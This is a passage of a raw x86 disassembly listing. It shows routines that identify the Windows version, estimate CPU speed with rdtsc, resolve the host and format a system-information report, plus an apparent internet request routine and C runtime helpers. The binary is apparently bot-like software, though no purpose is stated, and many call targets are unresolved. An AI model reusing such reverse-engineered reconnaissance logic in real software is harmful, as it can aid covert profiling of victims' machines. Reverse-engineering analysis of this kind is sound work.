jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 2660F57h nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h call near ptr 26C0550h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_43127C loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_43126C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431268 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431260 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_437834 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 2660AE4h nop lea eax, [ebp+var_114] push 46h push eax push offset dword_43A10C push ebx mov esi, 409h push ebx push esi nop call near ptr 2720000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 27113E0h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2810000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A030 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A194 push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A18C jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A188 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A184 lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A140 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A274 call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A258 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A21C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A200 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1D4 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1A4 loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 call near ptr 2780000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 nop call near ptr 2790000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2820000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 call near ptr 2790000h nop mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2820000h mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2820000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; 